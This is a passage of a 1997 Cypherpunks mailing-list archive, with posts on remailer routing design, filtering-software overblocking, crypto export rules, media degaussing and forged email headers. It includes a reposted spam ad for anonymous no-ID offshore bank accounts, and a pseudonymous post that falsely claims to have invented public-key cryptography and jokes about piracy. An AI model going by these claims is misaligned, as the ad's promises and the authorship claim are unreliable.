> >made to the algorithm: If you are the last remailer in a chain, then
> >with probability p you pick another randomly choosen remailer to send
> >through.  If p is 1 end user mail would never come from you; if p is
> >0.5 then half the time you send the mail on one more step.  The end
> >user, then, can never be sure of which remailer will ultimately
> >deliver the message.
> ...
> 
> This general sort of thing has been discussed...though not 20 years ago! :-0

Just teasing. 

> I don't know about this particular mathematical algorithm, but things
> generally like it.
> 
> Long before a remailer shuts down, he should certainly adopt a strategy
> like this. Sending "his" traffic through randomly selected other remailers
> is certainly an option. (Any remailer can at any point insert additional
> hops, or even chains of hops, merely be addressing them correctly. Of
> course, the "original" (which may not be the real original, of course, as
> other remailers may have done the same thing) needs to "get back on track,"
> else the decryptions won't work. But this is all a simple problem.

I don't think it is so simple.  It is, as you say, easy to add
interior hops, but they don't do the remailers any good -- they add
cover for the end user only.  It is the "exterior edge" remailers that
are at risk, and such a remailer has no easy way of knowing if it was 
selected at random, or was chosen as a specific target.  At least, I 
can't think of an easy way.  A particular remailer may have cohorts 
it trusts to be sources of random selection, but remailer trust is a 
flimsy foundation.

> I don't know what gets discussed on the "remailer operators list," not
> being on it, but it sure seems to me that remailers have stagnated, and
> that some of the robust methods of reducing attacks on any particular
> remailer are not being used.

It's a problem with any infrastructure, though -- once it is in 
place, change becomes hard.

The next generation remailer infrastructure should support a great
many remailers, and it should be impossible to target any single
remailer.   The infrastructure as a whole should be resistant to 
attack. 

This seems to imply 1) that remailers be small, cheap, easy to install
and run, 2) mail volume through any particular remailer should be
small, 3) the infrastructure should support transient remailers -- I
guess that is just a particular of a general robustness requirement;
4) the infrastructure should support volume restrictions from source
addresses -- for example, allow only 1 message per day from a
particular address.

Also, the "routing algorithm" should involve two stages -- the first
stage should be for the benefit of and controlled by the end user, to
bury the message in the network so that it can't be traced (unless a
secure retrace path is built in to the message).  The second stage is
for the benefit of the remailers, and controlled by them.  During the 
first stage the message is masked, and the destination address is 
unavailable, during the second stage the message is unmasked, and the 
destination address and message (probably) are clear, and the 
remailer network is trying to decide which remailer to make the final 
delivery.  (When I say "unmasked" I mean only at the remailer node -- 
not in transit -- the message is *always* encrypted in transit.)

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 03:19:37 +0800
To: cypherpunks@toad.com
Subject: Re: Column, July 8
Message-ID: <199707021858.MAA28995@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote:
>     FROM MOUNTAIN MEDIA
>     FOR IMMEDIATE RELEASE DATED JULY 8, 1997
>     THE LIBERTARIAN, By Vin Suprynowicz
>     When did we start valuing 'stability' over 'freedom'?
 
>     Did anyone else watch in disbelief the televised "celebration" of the
> humiliating surrender of the free city of Hong Kong to a bloodthirsty,
> totalitarian slave state on June the 30th?
...
>   In fact, in all the coverage I watched, the word "freedom" was never used
> once ... ranking right up there with another unheard word, "Communist."
> 
>   I swear to you, despite multiple respectful references to the "People's
> Liberation Army" (which appeared to have suited up in powder blue uniforms,
> like extras in a James Bond film, for the occasion) there was not one use
> of the word "Red" or "Communist." I was actually starting to picture an NBC
> news anchor in Hungary in 1956 smilingly reporting, "A great sigh of relief
> is being heard here as the People's Liberation tanks return, guaranteeing
> at least another decade of 'stability'."
...
>    A news clip gave us the city's new Red party boss, the day before, being
> asked whether the new regime would tolerate demonstrations and freedom of
> speech.
> 
>   "We may tolerate some freedom of speech," he said in his kindly,
> avuncular way, "depending on what they try to say."
> 
>   Now there's a definition of freedom to warm the hearts of Roberta
> Achtenburg, Janet Reno, and Louis Freeh.

> ***
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  "We may tolerate some breathing," Janet Reno said in her kindly,
avuncular way, "depending on who tries to breathe."

  "We may tolerate some Assassination Politics," Louis Freeh said
in his kindly, avuncular way, "depending on who they are attempting
to assassinate."

  "We may tolerate some flaming," Sandy Sandfort said in his kindly,
avuncular way, "depending on who they are flaming."

  "We may tolerate some truth," TruthMonger said in his kindly,
avuncular way, "depending on what they are trying to monger."

D r .  R o b e r t s
~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 01:54:27 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: New Jersey's 'sexy' counties (fwd)
Message-ID: <Pine.SUN.3.96.970702134425.14343B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Subject: New Jersey's 'sexy' counties

Internet censors blocking Jersey's 'sexy' counties 
By Jeff May
Newark Star-Ledger
July 1, 1997 

With its tractor pulls, pig and poultry exhibitions, and demolition
derbies, the Sussex County Fair is almost a parody of wholesome fun. 

But to some programs that parents use to block pornographic material
on the Internet, the Web site for "New Jersey's Best Fair" might as well
be a pit of sin. 

The problem: Sussex contains the word "sex." To a computer
searching for smut, that's all that's needed to raise a red flag. 

Most filtering programs rely on key words, and sex is at the top of the
forbidden list. Children who try to log on to the Sussex fair site might
as well be trying to dial up Playboy online. 

Essex and Middlesex counties have the same problem. The free
program that America Online provides for its subscribers, for example,
blocks online access to both Essex County College and the Essex
County Clerk's Office. 

"We're as G-rated as a Disney movie," protested Patrick McNally, the
county clerk. 

Passport information and property tax tips hardly make for racy
subject matter, and McNally said he was "somewhat amused" that it
would be considered as such. Web surfers apparently agree: Since the
site was created earlier this year, only 2,958 people have visited it. 

"Probably 2,900 are me," McNally said. 

But McNally said he understood the impulse to use parental control
programs, which are expected to become more popular in the wake of
the Supreme Court's decision to strike down government control of
indecent material on the Internet. 

"As a father, I certainly don't want my children to stumble across
something they shouldn't on the Net," he said. "I could see where it
would be a problem." 

Most problems with the screening devices occur when parents rely on
the broadest keywords possible, said Gordon Ross, president and
CEO of Net Nanny, one of several programs on the market to screen
out objectionable content. They usually disappear as users become
more knowledgeable about the system. 

"Unfortunately, some people don't read the manuals," he said. 

Parents may not need to by 2000. Advances in artificial intelligence are
expected to make the cybercensors a lot more discriminating, Ross said.

"A lot of the decisions will be made by the computer itself," he said. 

Some companies say they've already reached that point. A spokesman
for Surfwatch, Jay Friedland, says the popular program uses "pattern
matching" to weed out references to sex but not acceptable ones such
as the poet Anne Sexton. 

"The key focus for us is real simplicity," Friedland said. "Even if we
were overblocking accidentally, it is very easy to turn off." 

But most e-mail requests to the company ask for advice about blocking
sites, not unblocking them, he said. 

"It's about 100 to one," he said. 

For now, sponsors of the Sussex County Fair aren't overly concerned
about children being unable to scroll through the festival's web site. The
site is a little more than a year old, but the fair doesn't rely on it for
promotions, said spokeswoman Kathleen Cafasso. 

Dropping the web site address's reference to Sussex which, like the
similar county names, is derived from the Saxons of old England isn't
an option, Cafasso said. 

"We wouldn't even consider it," she said. "It's not worth the lack of
identification." 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 02:01:15 +0800
To: cypherpunks@toad.com
Subject: ** INNOVATIONS: SPYING SAUCER ** (fwd)
Message-ID: <Pine.SUN.3.96.970702134520.14343C-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 2 Jul 1997 00:16:51 -0400
From: Salvatore Denaro <sal@panix.com>
Subject: ** INNOVATIONS: SPYING SAUCER **

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

** INNOVATIONS: SPYING SAUCER **

Sikorsky Aircraft in Stratford, Conn., has designed and built a small,
round rotary-wing pilotless aircraft that can locate and follow objects,
flying down urban streets or peeping into windows.  The Cypher is
propelled by two rigid motors, one above the other, that revolve in
opposite directions.  The outside shell of the aircraft is rounded, like
a donut, giving the machine some protection when it bumps into tree
branches, or the sides of buildings. It can stay aloft for about two and
a half hours, using advanced software made by Lockheed Martin and
Northrup Grumman to find and trail enemy soldiers, or scout out an urban
setting for potential sharpshooters.  A video camera mounted on the
aircraft can peer through windows when engineers on the ground signal the
Cypher to land on a nearby rooftop.  "The beauty of Cypher," says the
aircraft's project leader, "is that it can fly low and slow."
(Scientific American Jun 97)  <http://www.sciam.com>

- --
Salvatore Denaro
sal@panix.com

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-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wesley Felter <wesley@binarycompass.com>
Date: Thu, 3 Jul 1997 05:17:50 +0800
To: "Cypherpunks" <cypherpunks@cyberpass.net>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
Message-ID: <1344269781-47438381@mail.binarycompass.com>
MIME-Version: 1.0
Content-Type: text/plain



On 7/2/1997 10:10 AM, Paul Bradley said:

>> A simpler solution (which I believe was used for Unix distribution
>> CD's) would be to encrypt the naughty bits using a strong algorithm,
>> say 56 bit DES :-), but only distribute the decryption key to
>> USA/Canadian citizens. If you could get this past the Export people,
>> you could make a single CD available world-wide. Don't forget to
>> escrow the key with the French authorities.
>
>If someone made such a CD, then someone who obtained it within the US 
>posted the key so people outside US/Canada could decrypt the data, who 
>would be charged with exporting the software? Could there even be a case 
>for charging anyone, after all, keys are not covered in the export regs????
>It`s probably a moot point anyway as I doubt such a CD would be given an 
>export licence.

Which reminds me of...
Netscape can export 40-bit versions of Communicator, and according to one 
of their own employees (search back in the archives if you don't believe 
me) the only difference between the 40-bit version and the 128-bit 
version is a license file. Now license files aren't covered in export 
regulations, are they? So it's legal to export the 40-bit version of 
Communicator (which contains disabled 128-bit crypto) and it's legal to 
export the license file. Sounds like it's either not true or the 
government is stupider than I thought or the government is tired of 
trying to enforce such futile laws.

Wesley Felter - wesley@binarycompass.com - Binary Compass Enterprises
In BizRate we trust - <http://www.bizrate.com/>
Disclaimer: My employer knows I'm crazy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Thu, 3 Jul 1997 14:56:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Crypto Law Survey updated
In-Reply-To: <9A131B1A13@frw3.kub.nl>
Message-ID: <v03007805afe077198410@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



There is a summary of the Canadian crypto rules, by Stewart Baker, at the
Steptoe and Johnson site:  http://www.steptoe.com/encryp.htm

I skimmed it today and it seems that Canada is considerably more liberal.
There are interesting issues regarding U.S.-originated content.

Lee

At 9:19 AM -0700 7/2/97, Bert-Jaap Koops wrote:
>I have just updated my survey of existing and envisaged cryptography
>laws and regulations.
>See the Crypto Law Survey at
>http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
>
>This update includes:
>-    update on Australia (Walsh report), Germany (Interior Ministry
>     opinion), Sweden (IT commission report), US (government bill
>     amended, Kerrey-McCain bill, SAFE act amended and passed House
>     committees, czar travel FOIA request)
>-    clarification on Singapore (import, domestic), Japan (government
>cannot choose)
>-    URLs added to Belgium (law proposals), Canada (export), UK
>(cyber-rights report)
>
>Comments are as always welcomed.
>
>Kind regards,
>Bert-Jaap
>








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stephen Cobb, CISSP" <stephen@iu.net>
Date: Thu, 3 Jul 1997 03:35:50 +0800
To: coderpunks@toad.com
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970629105616.03c32a40@mail.teleport.com>
Message-ID: <3.0.2.32.19970702153109.00738038@iu.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:56 AM 6/29/97 -0700, you wrote:
>While reading the latest issue of Dr. Dobbs, I found something of interest...
>
>Dr. Dobbs Essential Books on Cryptography and Security CD-ROM
>Price $99.95
>
>It is supposed to be shipping in July.

Thanks for the tip. Sounds great. I just ordered mine.

Readers accustomed to "instant gratification" are warned that the publisher
is now saying "you should receive it by August 1."

Stephen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:06:21 +0800
To: cypherpunks@toad.com
Subject: Interesting anonymous off-shore banking ad
Message-ID: <s3B99D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



I just came across the following ad on Usenet.
For all I know this could be an El Federales troll.
I'm reposting it because I thought it might be of interest. I know
nothing more about it.

From: OMG-OFFSHORE <omg@theoffice.net>
Newsgroups: alt.business.home.pc,alt.business.offshore,alt.business.import-exp
xt,alt.business.misc,misc.entrepreneurs,can.atlantic.biz,misc.forsale.non-comp
xtr,biz.next.newprod,biz.marketplace.non-computer,biz.americast,biz.comp,biz.c
xt.misc,biz.marketplace.international,biz.marketplace,biz.misc,biz.newgroup,bi
xtomp.services,can.atlantic.forsale,can.atlantic.general,can.com.misc,misc.inv
xt.marketplace,alt.internet.commerce,biz.univel.misc
Subject: ANONYMOUS BANKING!
Date: Tue, 01 Jul 1997 21:37:52 +0200



http://www.theoffice.net/omg

We have updated our site! 

START YOUR OWN OFFSHORE BANK!
Unlimited possibilities! Visit our site for more info.
You will be able to set up your offshore bank for less
than $10.000. The bank is registered in a major European
country. No additional capital or qualification requirements.

OFFSHORE BANKACCOUNT & CREDITCARD        
*No bank reference required              
*No minimum opening deposit
*No creditchecks
       
TOTALLY ANONYMOUS BANKACCOUNTS
*Not even the bank will know who you are
*No ID required for cash withdrawals

TOTALLY ANONYMOUS COMPANIES & CORPORATE BANKACCOUNTS
*Your name will not show up anywhere
*Complete with corporate bankaccount
        
ACCEPT CREDITCARDS
*No Business history required
*No monthly minimum
*Not restricted to the United States
*Mail order & Internet businesses accepted
        
        
Visit our site at http://www.theoffice.net/omg
         
-- 
********************************************************************
                       OMG-OFFSHORE INC.
Offshore bank accounts * Offshore company formations * 2nd Passports 

http://www.theoffice.net/omg                mailto:omg@theoffice.net 
********************************************************************

(As our Okrainian colleagues put it, "Za sho kupyv, za to prodav". -DV)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 03:38:14 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <19970702100000.40925@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970702152915.27206B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Kent Crispin wrote:

> The Evil One can always masquerade as the next to the last remailer, 
> with suitably altered date fields or whatever.  I wasn't thinking in 
> terms of traffic analysis -- I was thinking in terms of guaranteeing 
> that the last remailer in the chain, the one that actually delivers 
> the message, cannot be predicted in advance.

Well, to make the remailers more intelligent, have them count incoming
mail from the list of remailers participating in the system.  (either that
or a rate)  when one remailer seems to be sending much more mail than the
others (which shouldn't happen if all remailers are randomly distributing
the mail to each other)  you automatically do the random forward to
another remailer.

There still exists a problem if a coordinated attack on the whole system
occurs, with large amounts of mail seeking to discredit a group of
remailers at once...

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Jul 1997 08:09:22 +0800
To: cypherpunks@toad.com
Subject: They want your keys
Message-ID: <4Bc99D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



A former federal organized-crime prosecutor in Los angeles has pleaded guilty
to three felony charges in a scandal involving death threats, hundreds of
thousands of dollars' worth of fraud and the acceptance of cash payments 
from defendants.

The former prosecutor, Andrew Pitt, 39, faces between 24 and 30 months in a
federal prison. Last month Pitt filed a sworn statement admitting, among other
things, that he had taken $98,000 from one infrmer facing criminal charges 
and $35,000 from another. He said he then recommended probation, instead of 
a prison sentence, for the first informer and repeatedly asked that the second
informer be given additional time at large before reporting to prison. In 
addition Pitt admitted taking $33,000 from an illegal stock deal and transferr
it to his own account.

But Securities and Exchanges commission charged that Pitt also obtained at
least $400,000 in illegal profits by manipulating stock in a company he
controlled while serving as a prosecutor. And federal officials also charged
that Pitt was associated with a group of stock swindlers who went to Montreal
in 1995 with $350,000 to bribe people described in an indictment as "belived
to be" Quebec government officials.

A former assistant Los Angeles district attorney, Pitt was hired in 1988 as a
prosecutor with a federal organized-crime task force  The task force was
merged the following year with the U.S. attorney's office. Pitt was the lead
prosecutor in a high-profile case lining organized crime to the recording
business.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:53:03 +0800
To: cypherpunks@toad.com
Subject: Good Cop/Bad Cop
Message-ID: <199707022134.PAA16114@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
> ======================================================

>  TV ratings now indicate more people hate outlaw
> characters and admire police characters. Curiously,
> though, the police they admire most are the ones who act
> like outlaws."

> ==============================================
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm

  The above apparently applies to politicians, as well.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (BigNuts)
Date: Thu, 3 Jul 1997 05:52:54 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
Message-ID: <199707022134.PAA16117@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Michael Stutz wrote:
> On Tue, 1 Jul 1997, Tim May wrote:
> 
> > Technology liberates the bits.
> 
> Copyright law is not only useless on the net but inefficient; one need only
> compare the performance of free, copylefted software versus proprietary,
> closed software to see which is better. But now it is possible to apply the
> same principle of copyleft to _all_ non-software information, too --
> including text, images and music. I have done this myself with novels and
> albums of music, and have posted full instructions on how to apply this to
> non-software information at <http://dsl.org/copyleft/>.

  Tim gave excellent information on how one can go about using 
technology to enjoy the fruits of other people's labour without 
contributing toward the survival of those producing the things
he enjoys.
 (I, being more niggardly, will refuse to share a technique I developed
for stealing money from a blind beggar's cup and candy from a child's
Halloween bag.)

  Michael is right about technology and the InterNet now making it
possible to circumvent the principle represented by copyright law.
  When I originally came up with the concept of BlackNet and 
anonymous remailers, I foresaw that my invention of Public Key
Cryptography might help make it possible for ordinary people to reap
the benefits of other peoples' ideas and hard work, without doing
anything to contribute toward the survival of creative, productive
people.

  Although a person *can* enjoy the product of other peoples' efforts
without contributing toward the production of that product, the decision
as to whether they *should* do so should not be taken lightly.
  I believe that we live in a predatorial universe and that everything
we do involves some form of "eating" the life forms around us, whether
we do so physically, emotionally, or mentally. Whether the process
involves hunting what already exists, or growing new life forms by
farming, our future quality of life will depend on the quality of 
resource management done by ourself and others.

  There is undoubtedly an increased cost for certain software, music
albums, etc, because of the theft and coercion of the companies that
dominate an industry (via bribes, collusion, political donations),
but there is also a fixed cost that needs to be met for these products
to continue existing and developing.
  There is also a minimum level of sustenance needed by those who
produce the products we use, and if this is not met, then they cease
producing those products. If you copy George Strait's albums without
putting a few pennies in his pocket, it is not likely to inhibit his
market enough to matter, but if you do the same with an album by a
group who is living in a station-wagon between gigs, then you might
find yourself wondering "What ever happened to 'Psychotic Losers'?"
  I bought Microsoft Word because I like the product and use it
a lot. Other Microsoft programs that I use occassionally, I just
grab a copy from someone else because it's not worth my while
to pay big money for it and I don't want to waste my time and effort
using a product which doesn't fit into their proprietary scheme.
  (I apply the same standards to stealing children's Halloween candy.
I only steal from fat kids, and I don't take the whole bag. I want
to make it worth their while to go trick-or-treating next year.)

  I can understand that Tim May wants to hang on to the mountain of
cash that was made possible by his company's software copyrights, 
but I am surprised that he seems so boastful about denying others
any compensation for their ideas, talent, and labour.

  The Internet seems to be moving proprietary software more toward
a shareware/freeware attitude, since some companies are seeing the
benefit of making their product widely available. An example is
Microsoft making a file available for people without their product
to read the documents produced with it.
  I suspect that the technology which allows most information to
be set free from the bondage of copyright will lead to a more 
balanced playing field where it is harder for a company to keep
their prices artificially high by virtue of market domination
and political pull, but there will always remain a need for those
who create and produce to receive compensation for doing so.

There's something wrong when Janet Reno is not 
a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
TruthMonger #1              | Crypto Anarchy: encryption, digital money,
tm@dev.null    408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Reputation Capital isn't even a speed bump to Identity highway
robbery."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 04:02:20 +0800
To: cypherpunks@toad.com
Subject: This was forged:: Re: This is NOT trespassing.
In-Reply-To: <m0wct7B-000DDHC@mail.torfree.net>
Message-ID: <Pine.SUN.3.96.970702155127.14343H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Looking through a shitload of old messages, looks like someone decided to
write some mail in my own name.  Carefully looking at the headers shows
that this was sent through torfree.net or something, and didn't orginate
here.

Too bad I didn't spot this earlier...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================


 =============================


 From sunder@brainlink.com Sat Jun 14 09:46:14 1997
Received: from mail.torfree.net (root@danforth.torfree.net [199.71.188.17]) by beast.brainlink.com (8.8.5/8.6.12) with SMTP id JAA03645 for <sunder@brainlink.com>; Sat, 14 Jun 1997 09:46:13 -0400 (EDT)
From: Ray Arachelian <sunder@brainlink.com>
Received: from brainlink.com ([153.35.233.146]) by mail.torfree.net
						^^^^^^^^^^^^^^^^^^^
	(/\==/\ Smail3.1.28.1 #28.8; 15-jan-97)
	via sendmail with smtp id <m0wct7B-000DDHC@mail.torfree.net>
	(sender sunder@brainlink.com)
	for <sunder@brainlink.com>; Sat, 14 Jun 97 09:43 EDT
Message-Id: <m0wct7B-000DDHC@mail.torfree.net>
Date: Sat, 14 Jun 97 09:43 EDT
Apparently-From: <sunder@brainlink.com>
Apparently-To: <sunder@brainlink.com>
Subject: This is NOT trespassing.
Comment: Authenticated sender is <sunder@brainlink.com>
Status: RO
X-Status: 

Did you pay for your TV?  Do you buy electricity by the KWH?
Pay a monthly cable bill?  If so, then why isn't a television 
commercial considered theft of your televised resources?

Doesn't it cost something to ride the bus?  Then why aren't
the public transport's advertisers guilty of stealing your
wallspace?

What about newspapers, magazines, radio stations, going to
the movies, driving on any road, almost any PAID activity in
life?  Each has its attendent advertisments and commercials.

We PAY for an enormous percentage of solicitations.  Everyday.

>>>>>>>  WHY SHOULD YOUR EMAIL BOX BE ANY DIFFERENT?  <<<<<<<

Fact is, it isn't.  Nor will it ever be.  When you make any
contact in public via any media or communication form, there
will come invitations, solicitations, possibly vexations and
the like.  It's one of the prices we must pay in order to be
able to communicate at all.  








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 08:18:23 +0800
To: 3umoelle@informatik.uni-hamburg.de (Ulf Möller)
Subject: Re: Degaussing
In-Reply-To: <19970702021749.17094.qmail@squirrel.owl.de>
Message-ID: <3.0.2.32.19970702160205.0310cb98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> Could someone please point me to a FAQ or somesuch about degaussing
>> magnetic media? Thank you!
> http://www.cs.auckland.ac.nz/~pgut001/secure_del.html 

Thanks for posting a marvelous reference on erasing media.
Technology changes have a substantial effect on what's
adequate and what's not.  Back in the mid-late 80s, 
when I was a tool of the military-industrial complex, 
we had the offical rules for declassifying media;
I think they were from Army Reg 380-380.

For disk drives and magtapes, you had the choice of
physical destruction, running an NSA-approved overwrite program,
or using an NSA-approved BF magnet for degaussing.
We didn't have an approved program for Vax UNIX,
not that I would have trusted it to clean mapped-out bad sectors,
and any magnet that could suck the bits off a hard disk
was bigger than I was going to allow near my computers
or mag tape collection, thank you very much.

Floppy disks make a satisfying squooshy sound in a shredder;
remember to take the cardboard jacket off the floppy first.
Reeling out 9-track tape into a shredder is boring, but works.
I was no longer around when they sandblasted the RM05 packs,
but the sysadmin after me had a good time doing it,
and instead of the usual head-crashed RM05 platter on her wall,
she had one that was sandblasted real clean :-)

For memory, you needed to run an NSA-approved program
on your machine that would overwrite each byte three (?) times;
the trick was making sure your operating system would let you
get at everything, and of course moving the program while it
was running so it wouldn't overwrite itself.
I don't know if anyone remembered to do that after decommissioning
the VAX; we didn't do it when switching between the classified 
operating system diskpacks and the VMS maintenance system,
but we still maintained physical control of the system so it was OK.

Technology changes make a lot of difference in how you operate;
When we were using Vaxen with large RM05 removable disks,
we'd keep the main copy of the operating system up and running,
and needed to pay a lot of attention to security (in spite of most
of our users having the root password :-), and the disk packs
took up lots of space in the safe.  Later we started using PCs,
and any special project that didn't want to run on the main Vax
just kept a few floppies in the safe, or if it had a hard disk,
they could put the whole PC in the safe.  With Sun workstations,
we switched over to using shoebox disks, which were very convenient...
Now if I were in that business, I suppose I'd use Jazz drives,
or the large Syquest drives, and keep the operating system
on a read only hard drive...


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 3 Jul 1997 04:19:22 +0800
To: "Stephen Cobb, CISSP" <stephen@iu.net>
Subject: Re: Dr. Dobbs Cryptography and Security CD-ROM
In-Reply-To: <3.0.2.32.19970702153109.00738038@iu.net>
Message-ID: <Pine.SUN.3.96.970702161123.14343M-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Stephen Cobb, CISSP wrote:

> Thanks for the tip. Sounds great. I just ordered mine.
> 
> Readers accustomed to "instant gratification" are warned that the publisher
> is now saying "you should receive it by August 1."

I just ordered mine, they said mid July...  

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Jul 1997 07:37:52 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Return of Huge Cajones Remailer
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <3.0.2.32.19970702161745.03104c54@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I was interested to see the following headers in a posting to the net.
It's _pretending_ to be from the now-defunct huge.cajones.com remailer,
though it's in fact from Canada.


=================== HEADERS =========
Return-Path: <owner-cypherpunks@cyberpass.net>
Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2]) by
ixmail8.ix.netcom.com (8.7.5/SMI-4.1/Netcom)
	id OAA10170; Wed, 2 Jul 1997 14:49:48 -0700 (PDT)
Received: (from majordom@localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28296 for cypherpunks-outgoing; Wed, 2 Jul 1997 14:41:51 -0700 (PDT)
Received: (from cpunks@localhost) by sirius.infonex.com (8.8.5/8.7.3) id
OAA28278 for cypherpunks@infonex.com; Wed, 2 Jul 1997 14:41:43 -0700 (PDT)
Received: from rigel.cyberpass.net (root@rigel.infonex.com [206.170.114.3])
by sirius.infonex.com (8.8.5/8.7.3) with ESMTP id OAA28270 for
<cpunks@sirius.infonex.com>; Wed, 2 Jul 1997 14:41:40 -0700 (PDT)
Received: from toad.com (toad.com [140.174.2.1]) by rigel.cyberpass.net
(8.8.5/8.7.3) with ESMTP id OAA18801 for <cypherpunks@cyberpass.net>; Wed,
2 Jul 1997 14:39:54 -0700 (PDT)
Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id OAA08059
for cypherpunks-unedited-outgoing; Wed, 2 Jul 1997 14:37:28 -0700 (PDT)
Received: from wombat.sk.sympatico.ca (wombat.sk.sympatico.ca
[142.165.5.136]) by toad.com (8.7.5/8.7.3) with ESMTP id OAA08053 for
<cypherpunks@toad.com>; Wed, 2 Jul 1997 14:37:23 -0700 (PDT)
